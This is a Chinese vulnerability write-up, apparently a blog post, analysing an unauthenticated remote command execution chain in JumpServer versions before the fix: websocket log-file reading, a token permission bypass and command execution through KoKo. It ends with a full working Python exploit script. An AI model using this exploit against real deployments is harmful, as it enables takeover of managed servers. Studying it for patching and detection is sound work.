简介 JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。
由于JumpServer 程序中连接websocket的接口未做授权限制,导致攻击者可构造恶意请求获取服务器敏感信息,通过敏感信息中的相关参数,可构造请求获取相应token ,进而可通过相关API操作来执行任意命令。
影响版本
1 2 3 4 JumpServer < v2.6.2 JumpServer < v2.5.4 JumpServer < v2.4.5 JumpServer = v1.5.9
安全版本
1 2 3 4 JumpServer >= v2.6.2 JumpServer >= v2.5.4 JumpServer >= v2.4.5 JumpServer = v1.5.9(修复版)
commit记录
1 https://github.com/jumpserver/jumpserver/commit/8f792dc4b65aff6213496d8318bb518ecf6c4d75
环境搭建 搭建JumpServer有三种方式:
项目源码编译搭建,(不推荐搭建复杂,但能了解JumpServer内组件和关键设置)
脚本quick_start.sh
快速安装(推荐)
Docker容器化安装(推荐)
个人感觉选择Docker最好,方便关键参数设置。
首先创建mysql
容器
1 docker run -d --name mysql --restart=always -e MYSQL_ROOT_PASSWORD=abcd@1234 -p 3306:3306 -v /Users/rai4over/Desktop/mysqldata:/var/lib/mysql mysql:5.7 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
进入mysql
容器内
1 docker exec -it mysql /bin/bash
为JumpServer
创建数据库和对应数据库账户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 root@dbf8cbc59abf:/# mysql -u root -pabcd@1234 mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 2 Server version: 5.7.32 MySQL Community Server (GPL) Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> create database jumpserver default charset 'utf8mb4' ; Query OK, 1 row affected (0.01 sec) mysql> grant all on jumpserver.* to 'jumpserver' @'%' identified by 'abcd@1234' ; Query OK, 0 rows affected, 1 warning (0.01 sec) mysql> flush privileges; Query OK, 0 rows affected (0.01 sec) mysql> exit Bye
创建Redis
实例
1 docker run -d -it --name redis -p 6379:6379 -v /Users/rai4over/Desktop/redisdata:/data --restart=always --sysctl net.core.somaxconn=1024 redis:4.0.10 --requirepass "123456"
配置$SECRET_KEY
环境变量
1 if [ "$SECRET_KEY" = "" ]; then SECRET_KEY=`LC_CTYPE=C tr -dc A-Za-z0-9 < /dev/urandom | head -c 50`; echo "SECRET_KEY=$SECRET_KEY" >> ~/.zshrc; echo $SECRET_KEY; else echo $SECRET_KEY; fi
配置$BOOTSTRAP_TOKEN
环境变量
1 if [ "$BOOTSTRAP_TOKEN" = "" ]; then BOOTSTRAP_TOKEN=`LC_CTYPE=C tr -dc A-Za-z0-9 < /dev/urandom | head -c 16`; echo "BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN" >> ~/.zshrc; echo $BOOTSTRAP_TOKEN; else echo $BOOTSTRAP_TOKEN; fi
使用两个环境变量并作为参数,创建JumpServer
容器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 docker run -d --name jumpserver -h jumpserver --restart=always \ -v /Users/rai4over/Desktop/jumpserverdata:/opt/jumpserver/data/media \ -p 80:80 \ -p 2222:2222 \ -e SECRET_KEY=$SECRET_KEY \ -e BOOTSTRAP_TOKEN=$BOOTSTRAP_TOKEN \ -e DB_HOST=172.16.191.1 \ -e DB_PORT=3306 \ -e DB_USER=jumpserver \ -e DB_PASSWORD="abcd@1234" \ -e DB_NAME=jumpserver \ -e REDIS_HOST=172.16.191.1 \ -e REDIS_PORT=6379 \ -e REDIS_PASSWORD="123456" \ jumpserver/jms_all:v2.5.3
JumpServer
运行在8080,需要通过运行在80的反向代理Nginx访问。
设置管理的资产、用户的权限
想要使用Web终端,需要对资产、用户进行对应的授权
然后使用Web终端连接管理的主机
漏洞分析 漏洞大概分为几个过程:
JumpServer-Websockets-1 接口任意log文件读取,三个关键参数asset_id
、system_user_id
、user_id
。
JumpServer-Websockets-2 接口权限绕过、提升,利用参数生成token
。
KoKo-Websockets 接口利用token
生成id
,控制资产主机进行远程命令执行。
前置的Nginx的路由配置也需要注意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 server { listen 80 ; client_max_body_size 1024m ; location /ui/ { try_files $uri / /index.html; alias /opt/lina/; expires 24h ; } location /luna/ { try_files $uri / /index.html; alias /opt/luna/; expires 24h ; } location /media/ { add_header Content-Encoding gzip; root /opt/jumpserver/data/; } location /static/ { root /opt/jumpserver/data/; expires 24h ; } location /koko/ { proxy_pass http://localhost:5000; proxy_buffering off ; proxy_http_version 1 .1 ; proxy_request_buffering off ; proxy_set_header Upgrade $http_upgrade ; proxy_set_header Connection "upgrade" ; proxy_set_header X-Real-IP $remote_addr ; proxy_set_header Host $host ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; access_log off ; } location /guacamole/ { proxy_pass http://localhost:8081/; proxy_buffering off ; proxy_http_version 1 .1 ; proxy_request_buffering off ; proxy_set_header Upgrade $http_upgrade ; proxy_set_header Connection $http_connection ; proxy_set_header X-Real-IP $remote_addr ; proxy_set_header Host $host ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; access_log off ; } location /ws/ { proxy_pass http://localhost:8070; proxy_buffering off ; proxy_http_version 1 .1 ; proxy_request_buffering off ; proxy_set_header Upgrade $http_upgrade ; proxy_set_header Connection "upgrade" ; proxy_set_header X-Real-IP $remote_addr ; proxy_set_header Host $host ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; } location /api/ { proxy_pass http://localhost:8080; proxy_set_header X-Real-IP $remote_addr ; proxy_set_header Host $host ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; } location /core/ { proxy_pass http://localhost:8080; proxy_set_header X-Real-IP $remote_addr ; proxy_set_header Host $host ; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for ; } location / { rewrite ^/(.*)$ /ui/$1 last ; } }
Payload中设计的URL对号入座即可。
日志读取 需要使用Web终端访问一次资产主机,才会产生漏洞需要的三个关键参数的日志,日志默认位于/opt/jumpserver/logs/gunicorn.log
文件读取测试
代码位置:apps/ops/ws.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 class CeleryLogWebsocket (JsonWebsocketConsumer) : disconnected = False def connect (self) : self.accept() def receive (self, text_data=None, bytes_data=None, **kwargs) : data = json.loads(text_data) task_id = data.get("task" ) if task_id: self.handle_task(task_id) def wait_util_log_path_exist (self, task_id) : log_path = get_celery_task_log_path(task_id) while not self.disconnected: if not os.path.exists(log_path): self.send_json({'message' : '.' , 'task' : task_id}) time.sleep(0.5 ) continue self.send_json({'message' : '\r\n' }) try : logger.debug('Task log path: {}' .format(log_path)) task_log_f = open(log_path, 'rb' ) return task_log_f except OSError: return None def read_log_file (self, task_id) : task_log_f = self.wait_util_log_path_exist(task_id) if not task_log_f: logger.debug('Task log file is None: {}' .format(task_id)) return task_end_mark = [] while not self.disconnected: data = task_log_f.read(4096 ) if data: data = data.replace(b'\n' , b'\r\n' ) self.send_json( {'message' : data.decode(errors='ignore' ), 'task' : task_id} ) if data.find(b'succeeded in' ) != -1 : task_end_mark.append(1 ) if data.find(bytes(task_id, 'utf8' )) != -1 : task_end_mark.append(1 ) elif len(task_end_mark) == 2 : logger.debug('Task log end: {}' .format(task_id)) break time.sleep(0.2 ) task_log_f.close() def handle_task (self, task_id) : logger.info("Task id: {}" .format(task_id)) thread = threading.Thread(target=self.read_log_file, args=(task_id,)) thread.start()
获取task
参数,然后进入read_log_file
函数读取日志,调用wait_util_log_path_exist
函数判断路径是否存在并读取,接着调用get_celery_task_log_path
函数
apps.ops.celery.utils.get_celery_task_log_path
1 2 3 4 5 6 def get_celery_task_log_path (task_id) : task_id = str(task_id) rel_path = os.path.join(task_id[0 ], task_id[1 ], task_id + '.log' ) path = os.path.join(settings.CELERY_LOG_DIR, rel_path) os.makedirs(os.path.dirname(path), exist_ok=True ) return path
目录跳转拼接后得到/opt/jumpserver/logs/gunicorn.log
完整路径,并返回读取入职内容,此时从日志中可以获取asset_id
、system_user_id
、user_id
三个参数。
此处接口的修复方式为增加权限校验:
未授权获取token 将前面获取到的三个关键参数传入该接口,进一步获取token
代码位置:apps/authentication/api/auth.py
get_permissions
方法重写了接口的访问权限,可以通过user-only
重新设置API访问权限为AllowAny
,权限绕过后通过post方法生成一个有效期为20s的token
。
此处接口的修复方式为删除重写的访问权限:
KOKO RCE 发送token,获取id
初始化ssh连接
远程命令执行
代码位置:pkg/httpd/webserver.go
/toekn
无需进行权限校验,跟进processTokenWebsocket
函数
获取管理服务器远程命令执行权限。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import asyncioimport websocketsimport jsonimport requestsimport retarget_url = 'http://127.0.0.1' cmd = "ifconfig" async def get_token () : print('========================================================================================================================================================' ) url = target_url.replace("http" , "ws" ) + "/ws/ops/tasks/log/" print("Request => " + url + "token" ) async with websockets.connect(url, timeout=3 ) as websocket: await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}' ) for x in range(1000 ): try : rs = await asyncio.wait_for(websocket.recv(), timeout=3 ) print("Recv => " + rs) if '/api/v1/perms/asset-permissions/user/validate' in rs: break except : print("Vulnerability may not exist" ) exit() print('========================================================================================================================================================' ) print('Vulnerability may exist' ) pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ' ) matchObj = pattern.search(rs) if matchObj: asset_id = matchObj.group(1 ) print('asset_id = ' + asset_id) system_user_id = matchObj.group(2 ) print('system_user_id = ' + system_user_id) user_id = matchObj.group(3 ) print('user_id = ' + user_id) print('========================================================================================================================================================' ) data = {'asset' : asset_id, 'system_user' : system_user_id, 'user' : user_id} url = target_url + '/api/v1/users/connection-token/?user-only=1' print("Request => " + url + ' get token' ) response = requests.post(url, json=data).json() print('token = ' + response['token' ]) print('========================================================================================================================================================' ) return response['token' ] async def attack (url) : async with websockets.connect(url, timeout=3 ) as websocket: print("Request => " + url) rs = await websocket.recv() print("Recv => " + rs) id = json.loads(rs)["id" ] print("id = " + id) print('========================================================================================================================================================' ) init_payload = json.dumps({"id" : id, "type" : "TERMINAL_INIT" , "data" : "{\"cols\":164,\"rows\":17}" }) print("Request => " + "TERMINAL_INIT" ) await websocket.send(init_payload) rs = await websocket.recv() print("Recv => " + rs) rs = "" while "Last login" not in rs: rs = await websocket.recv() print("Recv => " + rs) cmd_payload = json.dumps({"id" : id, "type" : "TERMINAL_DATA" , "data" : cmd + "\r\n" }) print("Request => " + "Cmd Payload" ) await websocket.send(cmd_payload) for x in range(1000 ): try : rs = await asyncio.wait_for(websocket.recv(), timeout=3 ) print("Recv => " + rs) except : print('========================================================================================================================================================' ) print('recv data end' ) break def exp () : token = asyncio.get_event_loop().run_until_complete(get_token()) url = target_url.replace("http" , "ws" ) + "/koko/ws/token/?target_id=" + token asyncio.get_event_loop().run_until_complete(attack(url)) if __name__ == '__main__' : exp()
参考 https://mp.weixin.qq.com/s/BMYBrfa6V-qr3l9fEYjiLQ
https://www.cnblogs.com/xiao987334176/p/12172811.html